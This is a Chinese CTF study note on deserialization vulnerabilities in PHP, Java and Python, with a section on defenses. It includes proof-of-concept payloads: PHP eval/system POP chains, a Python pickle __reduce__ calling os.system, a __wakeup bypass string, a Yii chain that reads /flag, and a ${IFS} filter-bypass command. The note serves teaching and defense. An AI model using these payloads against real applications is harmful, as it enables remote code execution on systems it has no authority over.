Skip to content

MISC杂项学习

约 1212 字大约 4 分钟

CTF杂项

2025-09-26

一、基础原理

1.1 序列化与反序列化定义

序列化是将对象状态转换为可存储或传输格式的过程,反序列化则是将这些格式还原为原始对象的过程。常见的序列化格式包括二进制流、JSON、XML等。

1.2 安全风险产生原因

核心原理

当应用程序对不可信数据源进行反序列化操作时,攻击者可构造恶意数据触发代码执行。反序列化漏洞的核心在于:反序列化过程会自动调用对象的特定方法(如PHP的魔术方法、Java的readObject()、Python的__reduce__()),若这些方法包含危险操作且参数可控,则可能导致远程代码执行。

二、漏洞利用方式

2.1 构造恶意对象

通过定义包含危险方法的类,构造恶意对象并序列化。反序列化时自动触发危险方法,例如:

代码示例:PHP恶意类构造
// PHP示例:构造包含__destruct方法的恶意类
class Malicious {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}
$obj = new Malicious();
$obj->cmd = 'system("whoami");';
echo serialize($obj);

2.2 利用魔术方法

不同语言的关键触发方法:

  • PHP__wakeup()__destruct()__toString()
  • JavareadObject()readExternal()
  • Python__reduce__()__getstate__()

2.3 POP链构建

通过串联多个类的方法调用,形成利用链(Property-Oriented Programming)。例如PHP中的链式调用:

代码示例:PHP POP链构造
class A {
    public $b;
    function __destruct() {
        $this->b->exec();
    }
}
class B {
    public $cmd;
    function exec() {
        system($this->cmd);
    }
}
// 构造A->B->exec()调用链
$a = new A();
$a->b = new B();
$a->b->cmd = 'id';
echo serialize($a);

三、语言特性对比

语言关键触发方法序列化格式典型漏洞案例
PHP__wakeup()__destruct()明文字符串CVE-2016-7124
JavareadObject()readExternal()二进制流(ACED开头)Apache Commons Collections漏洞
Python__reduce__()pickle二进制反序列化命令执行

3.1 PHP反序列化

  • 格式:明文可读字符串(如O:8:"Malicious":1:{s:3:"cmd";s:7:"system";}
  • 核心:魔术方法自动触发
  • 典型漏洞
    • CVE-2016-7124:__wakeup()绕过(属性个数篡改)
    • 字符串逃逸(通过字符替换构造POP链)

3.2 Java反序列化

  • 格式:二进制流(以ACED开头的16进制)
  • 核心readObject()方法与Gadget链
  • 典型案例
    • Apache Commons Collections漏洞(CVE-2015-7501)
    • WebLogic T3协议漏洞(CVE-2017-10271)

3.3 Python反序列化

  • 格式:二进制流(pickle协议)
  • 核心__reduce__()方法返回可执行元组
  • 风险示例
代码示例:Python反序列化命令执行
import os
import pickle
class Exploit:
    def __reduce__(self):
        return (os.system, ('echo hacked',))
print(pickle.dumps(Exploit()))  # 反序列化时执行命令

四、防御机制

4.1 输入验证

最佳实践

  • 对反序列化数据进行签名校验(如HMAC)
  • 限制反序列化类范围(白名单机制)

4.2 安全配置

  • PHP:使用unserialize($data, ['allowed_classes' => false])
  • Java:禁用危险库(如Apache Commons Collections < 4.4)
  • Python:优先使用JSON替代pickle

4.3 代码审计

审计重点

  • 重点检查unserialize()pickle.loads()等危险函数
  • 避免在魔术方法中使用eval()system()等危险函数

五、CTF题型与解题技巧

5.1 常见题型

  1. 基础反序列化
    直接构造恶意对象触发漏洞,如:
代码示例:攻防世界unserialize3
// 攻防世界unserialize3
class xctf{
    public $flag='111';
    function __wakeup(){exit('bad');}
}
// 绕过__wakeup:修改属性个数
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
  1. POP链构造
    如CTFSHOW web267,利用Yii框架的CVE-2020-15148构造调用链:
代码示例:Yii框架POP链
namespace yii\rest{
    class IndexAction{public $checkAccess='exec'; public $id='cat /flag';}
}
// 省略中间类...
echo base64_encode(serialize(new BatchQueryResult()));
  1. 反序列化+命令注入
    结合命令注入绕过过滤,如:
// 绕过空格过滤:使用${IFS}
$cmd = 'cat${IFS}/flag';

5.2 解题步骤

  1. 寻找反序列化入口:搜索代码中的unserialize()pickle.loads()等函数
  2. 分析可利用类:查找包含魔术方法的类,识别危险操作
  3. 构造利用链:串联方法调用,生成序列化字符串
  4. 调试验证:通过打印输出或日志确认利用链有效性

六、参考案例

  1. PHP反序列化:CTFSHOW web265-270[1]
  2. Java反序列化:Apache Commons Collections漏洞[2]
  3. Python反序列化:CISCN 2019华北Day1 Web2[3]

七、防御最佳实践

防御清单

  1. 避免反序列化不可信数据:优先使用JSON等安全格式
  2. 实施白名单机制:限制允许反序列化的类
  3. 数据完整性校验:对序列化数据进行签名(如HMAC)
  4. 使用安全库:PHP替换为igbinary,Java使用Kryo
  5. 代码审计:定期检查反序列化入口及魔术方法

  1. https://blog.csdn.net/Myon5/article/details/143641482 ↩︎

  2. https://blog.csdn.net/weixin_62808713/article/details/130042758 ↩︎

  3. https://blog.csdn.net/2301_80467400/article/details/145410998 ↩︎

Written by GaifaGafin